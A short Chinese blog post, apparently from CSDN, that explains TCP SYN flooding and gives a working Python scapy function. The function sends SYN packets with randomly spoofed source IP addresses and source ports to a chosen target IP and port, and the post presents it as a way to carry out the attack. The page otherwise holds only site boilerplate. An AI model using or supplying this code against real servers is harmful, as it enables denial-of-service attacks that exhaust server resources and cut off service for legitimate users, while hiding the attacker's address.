使用scapy实现TCP SYN-Flooding攻击

netfilter防火墙 专栏收录该内容
13 篇文章 1 订阅

 

基于ubuntu 16.04系统,首先安装scapy,如下的apt-get或者可使用python的pip命令安装,scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。

# sudo apt-get install scapy


TCP SYN Flooding即向服务器的监听端口不断发送TCP的SYN报文,但并不完成实际的TCP三次握手。使被攻击的服务器耗尽资源,导致正常的服务请求不能被处理。要达到此目的,在发送SYN报文时,我们需要变换报文中IP头部的源IP地址(随机生成),和TCP头部中的源端口号(1-65535之间)。

def send_tcp_syn_packet(dip, dport):
    ip_hdr = scapy.IP()
    tcp_hdr = scapy.TCP()

    ip_hdr.src = '%i.%i.%i.%i' % (
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254)
    )
    tcp_hdr.sport = random.randint(1, 65535)
    tcp_hdr.flags = 'S'

    ip_hdr.dst = dip
    tcp_hdr.dport = dport

    scapy.send(ip_hdr / tcp_hdr, verbose=0)

如上send_tcp_syn_packet所示,还需要设置TCP头部的标志位SYN(‘S’),表明这是一个SYN数据包。

 

 

  • 0
    点赞
  • 0
    评论
  • 3
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 编程工作室 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值